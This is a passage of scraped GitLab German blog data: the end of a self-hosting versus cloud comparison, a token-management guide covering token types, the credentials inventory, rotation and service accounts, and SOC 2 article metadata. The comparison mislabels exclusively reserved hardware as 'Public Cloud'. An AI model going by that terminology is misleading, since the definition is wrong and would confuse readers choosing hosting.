Investitionen in Personal und Infrastruktur.Die zunehmende Dominanz des Cloud-Hosting ist darauf zurückzuführen, dass es in einigen essentiellen Punkten deutliche Vorteile gegenüber dem On-Premise-Ansatz aufweist. Sehen wir uns diese genauer an.\n\n## Cloud-Hosting: Vorteile\n\n### Was ist Cloud-Hosting?\n\nBeim Cloud-Hosting übernimmt der Dienstleistungsanbieter die Investitionen in die Hard- und Software. Das bedeutet, dass der sehr hohe Kapitalaufwand, der beim Self-Hosting unweigerlich entsteht, sich auf mehrere Kunden verteilt. Auch verfügen diese Betriebe über Personal, welches speziell auf die Herausforderungen des Hostings geschult ist und sich dem Thema, und somit ganz konkret deinen Daten, 24 Stunden am Tag widmen kann. Updates werden routinemäßig durchgeführt, Ausfälle (in der Regel) sofort erkannt und so schnell wie möglich behoben. Und all das zu deutlich geringeren Kosten als beim Self-Hosting.\n\nGerade im Hinblick auf das wichtige Thema Skalierbarkeit ist Cloud-Hosting das Optimum. Du benötigst kurzfristig oder auch nur vorübergehend mehr Speicherplatz, weil du große Mediendateien auf dem Server unterbringen willst? Statt dir, wie beim Self-Hosting erforderlich, zusätzlichen physischen Speicherplatz anzuschaffen, kannst du in der Cloud dein Paket bequem erweitern. Das ist im Allgemeinen sogar für saisonale und vorübergehende Peaks möglich. So könntest du bei Bedarf die Ressourcennutzung wenige Monate lang erhöhen und anschließend wieder auf das ursprüngliche Niveau herunterfahren.\n\nIm direkten Vergleich von Self-Hosting vs Cloud-Hosting bietet das Cloud-Hosting somit mehr Flexibilität und Freiraum für schnelle Änderungen. Darüber hinaus besteht eine sehr natürliche Verbindung zu DevOps und [DevSecOps](https://about.gitlab.com/de-de/topics/devsecops/).\n\n## Cloud-Hosting: Nachteile\n\nGanz ohne Nachteile kommt selbstverständlich auch das Cloud-Hosting nicht aus. Gegenüber dem On-Premise-Modell ist die Cloud meist weniger flexibel im Hinblick auf individuelle Lösungen. Die meisten seiner Vorzüge zieht dieses Konzept schließlich gerade daraus, dass es auf breiter Basis und für nahezu alle Anwender funktioniert. Sonderwünsche können dabei eher selten berücksichtigt werden. In der Regel spielt das auch keine Rolle. Für alle, deren Ansprüche im Hinblick auf die Funktionalität über den üblichen Standard hinausgehen, werden Clouds aber nicht zufriedenstellend sein.\nAuch das Thema Sicherheit ist ein zweischneidiges Schwert. Hier geht nichts über einen perfekt eingerichteten, von Experten betreuten und stets aktualisierten On-Premise-Server. Demgegenüber besteht bei Cloud-Anbieter(inne)n stets die Gefahr, dass die Server nicht mit der besten Software ausgerüstet sind und somit Sicherheitslücken entstehen, durch die Daten kompromittiert werden können.\nAndererseits muss festgehalten werden: Sicherheitslücken entstehen auch beim Self-Hosting und das Aufrechterhalten der höchsten Standards ist sehr teuer. Viele Hoster wiederum haben in den letzten Jahren ihr Bemühen um höchste Security-Leistungen erhöht und beauftragen externe Dienstleister, um diese zu zertifizieren. So nähern sich die Levels der beiden Bereiche, Cloud- vs. Self-Hosting, einander an.\n\n## Public Cloud: Das Beste beider Welten?\n\nViele Vorzüge eines Modells lassen sich nicht oder nur sehr schwer auf das andere übertragen. So standen viele Firmen vor dem Dilemma, sich für einen Ansatz zu entscheiden, dabei aber auf die Vorteile des anderen verzichten zu müssen.\n\nDie Public Cloud ist der Versuch, Self-Hosting und Cloud-Hosting miteinander zu verschmelzen. Hierbei werden deine Daten auf Servern eines externen Anbieters untergebracht. Doch werden dabei jeweils komplette Hardware-Bereiche exklusiv für dich reserviert. Das bedeutet, dass auf den Rechnern, auf denen deine Webanwendungen betrieben werden, keine Daten weiterer Unternehmen liegen. Die Daten sind somit physisch und auch sicherheitstechnisch getrennt.\n\nSo wird die Sicherheit beträchtlich erhöht und nähert sich weiter dem On-Premise-Niveau an. Sie ist teurer als Cloud-Pakete, aber in der Regel günstiger als eine Self-hosted-Cloud. Unter anderem, weil du nur für genau die Ressourcen bezahlst, die du auch tatsächlich verwendest. Die Skalierbarkeit ist ebenso einfach möglich wie bei einer Cloud, wenngleich du mit gewissen Einschränkungen in Hinblick auf die Bereitstellung rechnen musst. Oftmals kannst du Sonderwünsche sogar in Absprache mit Dienstleister(innen) äußern und umsetzen.\n\nIst die Public Cloud somit die perfekte Lösung? Das wäre eine wohl zu allgemeine Aussage, denn für die meisten wird bereits der deutlich höhere Preis dieses Konzepts ein Ausschlusskriterium darstellen. Darüber hinaus ist in der Public Cloud nicht immer die Übernahme aller Wartungsmaßnahmen und Aktualisierungen im Paket inbegriffen. Solltest du diese Aspekte selbst übernehmen müssen, entsteht letzten Endes derselbe Aufwand wie bei einem Self-Hosting-Modell.\n\n## FAQ\n\n### Was ist GitLab Pages und wie unterstützt es mein Hosting?\n\nGitLab [Pages](https://docs.gitlab.com/ee/user/project/pages/) ist eine Funktionalität, die es dir erlaubt, statische Websites direkt über GitLab zu hosten. Das bedeutet, dass du die Website im Repository anlegen, bearbeiten und anschließend veröffentlichen kannst. Hierbei fallen keine weiteren Zwischenschritte an und die Wahrscheinlichkeit für Fehler sinkt.\n\nDer größte Pluspunkt besteht darin, dass du unmittelbar von allen CI/CD-Funktionalitäten, darunter beispielsweise der ständigen Versionskontrolle, Gebrauch machen, sowie Änderungen direkt aus dem Repository vornehmen kannst. Auch ein Rollback auf die vorige Version gestaltet sich als extrem unkompliziert. Bei der Nutzung von GitLab Pages entstehen zudem keine zusätzlichen Kosten.\n\n### Ist Self-Hosting sicherer als Cloud-Hosting?\n\nDie meisten Experten schätzen ein Self-Hosting-Modell als __die sicherste Option__ ein. Dies erklärt sich dadurch, dass du als Server-Betreiber die höchsten Standards setzen und einhalten kannst, die Chancen für einen unrechtmäßigen Zugriff auf die Daten sinken und individuelle Sicherheitspakete zusammengestellt werden können, die speziell auf deine Bedürfnisse zugeschnitten sind.\n\nAllerdings gilt dieser Vorteil nur, wenn das Hosting von erfahrenen Mitarbeiter(innen) übernommen wird. Diese müssen zudem über ausreichend zeitliche Reserven verfügen, um das System stets auf dem neuesten Stand zu halten und bei eventuellen Aus- oder Zwischenfällen unmittelbar eine Problemlösung durchzuführen. Ein wichtiger Punkt bei der Entscheidung über das für dich richtige Hosting ist oftmals die Frage nach der Einhaltung gewisser rechtlicher Vorgaben. Hier solltest du genau prüfen, ob dein Cloud-Anbieter die erforderlichen Kriterien erfüllen kann.\n",[869,14],"cloud native",{"slug":871,"featured":6,"template":683},"self-hosting-vs-cloud","content:de-de:blog:self-hosting-vs-cloud.yml","Self Hosting Vs Cloud","de-de/blog/self-hosting-vs-cloud.yml","de-de/blog/self-hosting-vs-cloud",{"_path":877,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":878,"content":884,"config":890,"_id":892,"_type":16,"title":893,"_source":18,"_file":894,"_stem":895,"_extension":21},"/de-de/blog/the-ultimate-guide-to-token-management-at-gitlab",{"title":879,"description":880,"ogTitle":879,"ogDescription":880,"noIndex":6,"ogImage":881,"ogUrl":882,"ogSiteName":794,"ogType":795,"canonicalUrls":882,"schema":883},"Der ultimative Leitfaden für die Token-Verwaltung mit GitLab","Erfahre Schritt für Schritt, wie du Token identifizierst, verwaltest und schützt, um die Sicherheit in deinem gesamten Software-Entwicklungsprozess zu verbessern.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097408/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097407860.jpg","https://about.gitlab.com/blog/the-ultimate-guide-to-token-management-at-gitlab","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"Der ultimative Leitfaden für die Token-Verwaltung mit GitLab\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Hakeem Abdul-Razak\"}],\n \"datePublished\": \"2025-02-25\",\n }",{"title":879,"description":880,"authors":885,"heroImage":881,"date":887,"body":888,"category":14,"tags":889},[886],"Hakeem Abdul-Razak","2025-02-25","Stell dir Folgendes vor: Du bist Entwickler(in) in einem aufstrebenden Technologieunternehmen, es ist 2 Uhr morgens und du erhältst einen dringenden Anruf. Eine wichtige Bereitstellungs-Pipeline ist fehlgeschlagen und dein Team versucht, den Grund herauszufinden. Nach stundenlangem Suchen stellst du fest, dass jemand einen persönlichen Zugriffs-Token widerrufen hat, der zu einem bzw. einer Entwickler(in) gehörte, der bzw. die schon seit Wochen nicht mehr für das Unternehmen arbeitet. Dieser Token war an mehrere Automatisierungsprozesse gekoppelt, sodass jetzt dein gesamtes System im Chaos versunken ist. Wie stellst du sicher, dass so etwas nicht nochmals passiert?\n\nFolge dieser Anleitung und erfahre Schritt für Schritt, wie du mit GitLab Token identifizieren, verwalten und schützen kannst. Dies ist eine praktische Ergänzung zur umfassenden [Token-Übersichtsdokumentation](https://docs.gitlab.com/ee/security/tokens) für GitLab-Administrator(inn)en, Entwickler(innen) und Sicherheitsteams, die eine robuste Token-Verwaltung in ihren Projekten benötigen.\n\nIn diesem Leitfaden geht es um folgende Themen:\n- [Wie wählst du den richtigen Token für den Job aus?](#how-to-select-the-right-token-for-the-job)\n- [Token-Arten](#token-types)\n- [Entdecke deine Token](#discovering-your-tokens)\n - [Credentials Inventory](#credentials-inventory)\n- [Token im GitLab-UI und in der API verwalten](#managing-tokens-in-the-gitlab-ui-and-api)\n- [Rotation der Token und Verwaltung von Ablaufdaten](#token-rotation-and-expiration-management)\n- [Best Practices für die Token-Verwaltung](#token-management-best-practices)\n - [Dienstkonten](#service-accounts)\n\n## Wie wählst du den richtigen Token für den Job aus?\n\nMit der Auswahl des richtigen Tokens garantierst du die für deinen Anwendungsfall optimale Sicherheit und Funktionsfähigkeit.\nToken können zur Authentifizierung von API-Anfragen, zur Automatisierung von CI/CD-Pipelines, zur Integration von externen Tools, zur Verwaltung von Bereitstellungen und Repositories und für vieles mehr verwendet werden.\n\n![Leitfaden für die Token-Verwaltung – Flussdiagramm für Token](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097434869.png)\n\nDer Einfachheit halber zeigt dieses Diagramm einen unkomplizierten Anwendungsfall, bei der nur ein(e) Benutzer(in) die Inhaberschaft hat. Weitere Informationen findest du in unsere Dokumentation zu Benutzerrollen und Berechtigungen in den einzelnen [Namensräumen](https://docs.gitlab.com/ee/user/permissions.html) (Benutzer(innen)/Gruppe) in deiner Instanz oder Hauptgruppe. Beispiele für Anwendungsfälle:\n\n- **Persönliche Zugriffs-Token** ([PAT](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes)) können von Entwickler(innen) verwendet werden, wenn für eine(n) Benutzer(in) persönlicher Zugriff und persönliche Berechtigungen nötig sind. In diesem Fall folgen die Anmeldeinformationen dem Status und den Berechtigungen des Benutzers bzw. der Benutzerin, einschließlich der Entfernung des Zugriffs, wenn das Konto den Zugriff auf ein bestimmtes Projekt oder eine bestimmte Gruppe verliert (oder vollständig gesperrt wird). \n- **Projekt-/Gruppenzugriffs-Token** ([PrAT](https://docs.gitlab.com/user/project/settings/project_access_tokens/#scopes-for-a-project-access-token)/[GrAT](https://docs.gitlab.com/user/group/settings/group_access_tokens/#scopes-for-a-group-access-token)) werden empfohlen, wenn der Zugriff auf Ressourcen in einem bestimmten Projekt oder einer bestimmten Gruppe eingeschränkt werden soll. Da diese PrAT/GrAT einem bestimmten Geltungsbereichen zugewiesen wurden, können alle auf die jeweils nötigen Ressourcen zugreifen.\n## Token-Arten\n\nUnten findest du eine Liste mit GitLab-Token und deren standardmäßigen Präfixen und Anwendungsfällen. Weitere Informationen findest du auf der [GitLab-Token-Übersichtsseite](https://docs.gitlab.com/ee/security/tokens/#available-scopes). \n\n| Token | Präfix | Beschreibung |\n| :---: | :---: | :---: |\n| Persönlicher Zugriffs-Token | glpat | Für den Zugriff auf benutzerspezifische Daten |\n| OAuth-2.0-Token | gloas | Für die Integration mit externen Anwendungen über das OAuth2.0-Authentifizierungsprotokoll |\n| Imitations-Token | glpat | Für administrative Handlungen im Namen anderer Benutzer(innen) |\n| Projektzugriffs-Token | glpat | Für den Zugriff auf Daten eines bestimmten Projekts |\n| Gruppenzugriffs-Token | glpat | Für den Zugriff auf Daten einer bestimmten Gruppe |\n| Bereitstellungs-Token | gldt | Zum Klonen, Pushen und Pullen von Container-Registry-Images eines Projekts ohne Benutzer(in) und Passwort |\n| Bereitstellungsschlüssel | n.v. | Ermöglicht den Lese- oder Schreibzugriff auf deine Repositories |\n| Runner-Authentifizierungs-Token | glrt | Für die Authentifizierung von GitLab-Runners |\n| CI/CD-Job-Token | glcbt | Für die Automatisierung von CI/CD-Prozessen |\n| Trigger-Token | glptt | Löst Pipelines manuell oder programmatisch aus |\n| Feed-Token | glft | Für die Authentifizierung des Zugriffs auf Paket-/RSS-Feeds |\n| Token für eingehende Mails | glimt | Für die Verarbeitung eingehender E-Mails |\n| Token für GitLab Agent for Kubernetes | glagent | Für die Verwaltung von Kubernetes-Clustern über den GitLab Agent |\n| SCIM-Token | glsoat | Ermöglicht SCIM-Integrationen für die Benutzerbereitstellung |\n| Client-Token für Feature-Flags | glffct | Für programmatische Feature-Flags |\n| Webhook-Token | n.v. | Vom bzw. von der Benutzer(in) festgelegter geheimer Token, um Webhook-Payloads zu sichern und zu gewährleisten, dass Anfragen von GitLab stammen |\n\n## Entdecke deine Token\n\n### Credentials Inventory\n\nIn GitLab Ultimate können Administrator(inn)en (GitLab Self-Managed) und Eigentümer(innen) von Hauptgruppen eines Unternehmens (GitLab.com ab Version 17.5) die Zugangsdaten in ihrem Namensraum überwachen.\n\nDieses Inventar verfolgt Token-Details wie:\n\n* Token-Typ \n * Verfügbare Token auf [GitLab.com](https://docs.gitlab.com/ee/user/group/credentials_inventory.html) \n * Verfügbare Token auf [GitLab Self-Managed](https://docs.gitlab.com/ee/administration/credentials_inventory.html) \n* Zugehörige Benutzerkonten \n* Token-Geltungsbereiche sowie Erstellungs- und Ablaufdaten \n* Zuletzt verwendete IP-Adressen des Tokens (ab GitLab 17.10) \n* Token-Filterung basierend auf den oben genannten benutzerdefinierten Parametern \n* Möglichkeit zum Widerrufen und Rotieren dieser Token\n\nEin gut gepflegtes Credentials Inventory hilft dabei, Token mit zu vielen Berechtigungen zu identifizieren, und gibt Aufschluss über Zugangsdaten, die möglicherweise rotiert werden müssen, um einen sicheren und effizienten Workflow zu gewährleisten.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/A9ONfnwswd0?si=4VIEUgJaD4daj81b&start=105\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n#### Credentials Inventory API\n\nAls Ergänzung zur UI [entwickeln wir derzeit](https://gitlab.com/groups/gitlab-org/-/epics/16343) eine Credentials Inventory API über den neuen [Endpunkt /group/:id/manage](https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project). Die unter diesem Endpunkt zugänglichen Zugangsdaten sind auf [Enterprise-Benutzer(innen)](https://docs.gitlab.com/ee/user/enterprise_user/) beschränkt und können vom bzw. von der Eigentümer(in) der Hauptgruppe eines Unternehmens abgerufen werden. Ein Beispiel für den zukünftigen API-Aufruf wäre:\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\" \"https://verified_domain.com/api/v4/groups/\u003Cgroup_id>/manage/personal_access_tokens\" \n```\n### GitLab-API\n\nMit der GitLab-API kannst du Token in deinem Unternehmen programmgesteuert auflisten und verwalten. Wichtige authentifizierungsbezogene Endpunkte unterstützen [verschiedene Token-Typen](https://docs.gitlab.com/ee/api/rest/authentication.html)), darunter persönliche Token, Gruppen-Token, CI/CD-Token und mehr. Ein Beispiel für die Verwendung eines persönlichen Zugriffs-Tokens zum Auflisten aller sichtbaren Projekte in GitLab für authentifizierte Benutzer(innen) ist:\n\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\" \\\n \"https://gitlab.example.com/api/v4/projects\"\n\n```\n\nIn diesem Video erfährst du, wie du API-Aufrufe an die GitLab-API sendest.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/0LsMC3ZiXkA?si=vj871YH610jwQdFc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n### Finde heraus, wo Token verwendet werden\n\nKund(inn)en können auf verschiedene Arten herausfinden, wo Token verwendet werden:\n* Unter **Benutzerprofil > [Zugriffstoken](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used)**\n* Im Credentials Inventory\n* In Audit-Ereignissen\n* Über die API \n\nInformationen zur Token-Nutzung werden alle 10 Minuten für **last_used** und einmal pro Minute für **last_used_ip** aktualisiert. \n\nDie Möglichkeit, IP-Adressen anzuzeigen, wurde in GitLab 17.9 eingeführt und wird durch das Feature-Flag **:pat_ip** gesteuert. Befolge diese [Schritte, um herauszufinden, wann ein Token zuletzt verwendet wurde](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used). Außerdem werden dir seine letzten fünf eindeutigen IP-Adressen angezeigt.\n\n![Leitfaden für Token-Verwaltung – Einstellungen für persönliche Zugriffs-Token](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097434870.png)\n\n## Token im GitLab-UI und in der API verwalten\nIn der folgenden Tabelle findest du Videos, in denen gezeigt wird, wie Token im UI erstellt werden und wie sie über die API genutzt werden können.\n\n| Token | GitLab-UI | GitLab-API |\n| ---------- | ---------- | ---------- |\n| Persönlicher Zugriffs-Token \u000b | [Dokumentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=3) | [Dokumentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=43) |\n| Gruppenzugriffs-Token | [Dokumentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#group-access-tokens) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=120) | [Dokumentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=157) |\n| Projektzugriffs-Token | [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#project-access-tokens) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=254) | [Dokumentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=285) |\n\n## Rotation der Tokens und Verwaltung von Ablaufdaten\n\nIndem du Token rotierst und strikte Richtlinien für Ablaufdaten einführst, reduzierst du das Komprimittierungsrisiko und stellst die Einhaltung von Sicherheitsstandards sicher. Regelmäßige Rotation und erzwungene Abläufe verhindern, dass veraltete Zugangsdaten zu Sicherheitslücken werden.\n\nBisher wurden abgelaufene Gruppen- und Projektzugriffs-Token nach Ablauf automatisch gelöscht, was die Überwachung und Sicherheitsüberprüfung schwieriger machte, da keine Aufzeichnungen zu inaktiven Token vorlagen. Um dieses Problem zu beheben, wurde eine [neue Funktion](https://gitlab.com/gitlab-org/gitlab/-/issues/462217) eingeführt, um Aufzeichnungen zu inaktiven Gruppen- und Projektzugriffs-Token 30 Tage, nachdem sie inaktiv wurden, im UI aufzubewahren. Diese Verbesserung soll es den Teams ermöglichen, die Verwendung, den Ablauf und den Widerruf von Token zu verfolgen, um die Compliance und Überwachung zu verbessern.\n\nUm die Rotation von Token und die Verwaltung von Ablaufdaten proaktiv zu gestalten, kannst du Folgendes tun:\n\n* Rotiere deine Token aktiv über die UI oder die API. Wenn du die API verwendest, achte auf den Sicherheitsmechanismus, mit dem [wiederverwendete Token automatisch erkannt werden](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection).\n* Lege eine instanzweite [maximale Geltungsdauer](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#limit-the-lifetime-of-access-tokens) für Zugriffs-Token fest.\n\n### API für die Rotation von Token\n\nBis GitLab 17.7 mussten Kund(inn)en Zugriffs-Token programmgesteuert mit der API rotieren. Die entsprechende Funktion ist jetzt im UI verfügbar. Sieh dir das Video in der folgenden Tabelle an oder lies dir die [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#use-the-ui) durch.\n\n### Codeausschnitte für die Rotation von Token\n\nIn der folgenden Tabelle findest du Videos, in denen die Rotation von GitLab-Token erläutert wird. \n\n| Token | Voraussetzungen | GitLab-UI | GitLab-API |\n| :---: | :---: | ----- | ----- |\n| Persönliches Zugriffs-Token | Geltungsbereich: API | [Dokumentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=76) | [Dokumentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=92) |\n| Gruppenzugriffs-Token | Geltungsbereich: API und Rolle(n): Eigentümer(in) | [Dokumentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#create-a-group-access-token-using-ui) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=203) | [Dokumentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=214) |\n| Projektzugriffs-Token | Geltungsbereich: API und Rolle(n): Eigentümer(in), Betreuer(in) | [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=335) | [Dokumentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=349) |\n\n## Best Practices für die Token-Verwaltung\n\n### Prinzip des geringsten Privilegs\n\nMindere Risiken, indem du Berechtigungen für Token wirklich nur für die jeweiligen unbedingt nötigen Aufgaben zuweist. Auf diese Weise kannst du Fehlerquellen in deinen Systemen proaktiv vorhersagen und beheben. Beachte dazu Folgendes:\n\n* Wähle den richtigen Token für den richtigen Job aus. Infos dazu findest du im Flussdiagramm. \n* Weise beim Erstellen eines Tokens nur die erforderlichen Geltungsbereiche zu. Verwende beispielsweise schreibgeschützte Geltungsbereiche für Token mit Aufgaben für Auditor(innen). Siehe [Rollen](https://docs.gitlab.com/ee/user/permissions.html#roles). \n* Vermeide es, Administratorrechte zu gewähren, wenn sie nicht unbedingt nötig sind.\n* Erzwinge eine instanzweite Standard-Token-[Lebensdauer](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#set-a-lifetime-1).\n* Überprüfe und auditiere Token-Berechtigungen regelmäßig, um sicherzustellen, dass sie den aktuellen Anforderungen deines Unternehmens entsprechen. \n* Widerrufe Token, sobald die Aufgabe abgeschlossen ist.\n\n### Service-Konten\n\n[Dienstkonten](https://docs.gitlab.com/ee/user/profile/service_accounts.html) stellen sicher, dass Token an nicht-menschliche Entitäten gebunden sind. Dadurch werden sie von einzelnen Benutzerkonten getrennt und die Abhängigkeit von bestimmten Benutzer(inne)n wird verringert. Anstatt persönliche Konten zu verwenden, um Token für die Automatisierung zu generieren, solltest du Dienstkonten mit eingeschränktem Geltungsbereich erstellen. Zu den Vorteilen gehören:\n\n* Verwendung von Dienstkonto-Token in CI/CD-Pipelines, um Störungen durch Änderungen des Benutzerkontos zu vermeiden \n* Programmgesteuerte Automatisierung von Rotationsprozessen, da persönliche Konten nicht betroffen sind\n* Klarere Überwachung und Prüfung der von Dienstkonten durchgeführten Aktionen \n* Dienstkonten [ohne Ablaufdatum](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-service-account-personal-access-token-with-no-expiry-date)\n* Verbraucht keinen [Lizenzplatz](https://docs.gitlab.com/user/profile/service_accounts/#create-a-service-account)\n\nGitLab plant die Veröffentlichung einer neuen [Benutzeroberfläche für Dienstkonten](https://gitlab.com/groups/gitlab-org/-/epics/9965) als Gegenstück zur [API-basierten Erstellung](https://docs.gitlab.com/ee/api/user_service_accounts.html#create-a-service-account-user), wodurch die Verwaltung von Dienstkonten und der damit verbundenen Token vereinfacht werden soll. In der folgenden Demo wird die programmgesteuerte Verwendung von Dienstkonten erläutert.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/oZvjg0SCsqY?si=cj-0LjfeonLGXv9u\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n### Sicherheitslücken-Tools\n\nNutze die integrierten Sicherheitstools von GitLab, um Sicherheitslücken, die durch die Nutzung von Token entstehen, zu identifizieren und zu beheben. Für eine maximale Abdeckung wird empfohlen, alle Tools gemeinsam zu verwenden.\n\n* [Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/): Scannt dein Repository nach fest codierten Geheimnissen wie API-Token, Passwörtern und anderen vertraulichen Informationen. Sieh dir die [Liste der erkannten Geheimnisse](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html) an.\n* [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Analysiert deinen Quellcode auf Sicherheitslücken und [stellt unter anderem Berichte mit UI-Ergebnissen in Merge Requests bereit](https://docs.gitlab.com/ee/user/application_security/sast/#features).\n* [Abhängigkeitssuche](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Stellt sicher, dass in deinem Projekt verwendete Bibliotheken von Drittanbietern keine Sicherheitslücken hinsichtlich ihrer Token aufweisen.\n\n### Audit-Protokolle und Überwachung\n\nPflege den Zustand von Token, indem du regelmäßig Audit-Protokolle und die Token-Nutzung auf Instanz- und/oder Gruppenebene überprüfst.\n\n* [Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_events.html): Protokolliere Audit Events in GitLab, um Aktivitäten im Zusammenhang mit Token zu verfolgen, z. B. Erstellung, Verwendung, Löschung und ungewöhnliche API-Aufrufe (nicht zulässige Parameter in Protokollen und konsistente Auslöser des Rate Limiters). \n* [IP-Allowlisting](https://docs.gitlab.com/ee/administration/reporting/ip_addr_restrictions.html#configure-ip-address-restrictions): Verhindert, dass böswillige Benutzer(innen) ihre Aktivitäten hinter mehreren IP-Adressen verbergen.\n* [Alarme](https://docs.gitlab.com/ee/operations/incident_management/alerts.html): Richte Alarme für ungewöhnliche Aktivitäten ein (lösen z. B. Paging für Bereitschaftsrotationen aus oder verwende es, um Vorfälle zu erstellen).\n* [Credentials Inventory](https://docs.gitlab.com/ee/administration/credentials_inventory.html): Erhalte vollständige Kontrolle über alle verfügbaren Zugriffs-Token sowie die Möglichkeit, diese bei Bedarf zu widerrufen.\n* [Benachrichtigungen](https://docs.gitlab.com/ee/user/profile/notifications.html): Bearbeite proaktiv alle Ablaufbenachrichtigungen für Token (Gruppen-, Projekt- und persönliche Token), die du per E-Mail erhältst. Aufgrund der Nachfrage unserer Kund(inn)en wurde diese Funktion kürzlich um 30-Tage- und 60-Tage-Benachrichtigungen erweitert (die Standardeinstellung ist 7 Tage). \n* [Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#create-a-webhook): Zugriffs-Token-Webhooks können für Gruppen und Projekte konfiguriert werden, um Ereignisse sieben Tage vor Ablauf von Token auszulösen. Diese Funktion wurde kürzlich auch um 30-Tage- und 60-Tage-Benachrichtigungen hinter dem Feature-Flag **:extended_expiry_webhook_execution_setting** erweitert (standardmäßig deaktiviert).\n\n## Was kommt als Nächstes?\n\nAngesichts des großen Token-Katalogs von GitLab gibt es laufende [Pläne](https://gitlab.com/gitlab-org/gitlab/-/issues/502630) für eine Konsolidierung mit Schwerpunkt auf der Lebensdauer, detaillierten Geltungsbereichen, konsistenter Verwaltung und Nutzung. Derzeit priorisieren wir hinsichtlich der Token-Funktionen ein umfassendes UI für Dienstkonten, zusätzliche Arten von Zugangsdaten im Credentials Inventory sowie ein verbessertes Auditing für Token und Dienstkonten.\n\n> Melde dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/free-trial/) an, um die Token-Verwaltung zu nutzen.",[743,14,806,678,677],{"slug":891,"featured":93,"template":683},"the-ultimate-guide-to-token-management-at-gitlab","content:de-de:blog:the-ultimate-guide-to-token-management-at-gitlab.yml","The Ultimate Guide To Token Management At Gitlab","de-de/blog/the-ultimate-guide-to-token-management-at-gitlab.yml","de-de/blog/the-ultimate-guide-to-token-management-at-gitlab",{"_path":897,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":898,"content":905,"config":910,"_id":912,"_type":16,"title":913,"_source":18,"_file":914,"_stem":915,"_extension":21},"/de-de/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":899,"description":900,"ogTitle":899,"ogDescription":900,"noIndex":6,"ogImage":901,"ogUrl":902,"ogSiteName":794,"ogType":903,"canonicalUrls":902,"schema":904},"GitLab-Leitfaden: SOC-2-Sicherheitsanforderungen erfüllen","Verstehe die Anwendungssicherheitsfunktionen der DevSecOps-Plattform von GitLab, die den Anforderungen von System and Organization Controls 2 entsprechen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","Artikel","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"GitLab-Leitfaden: 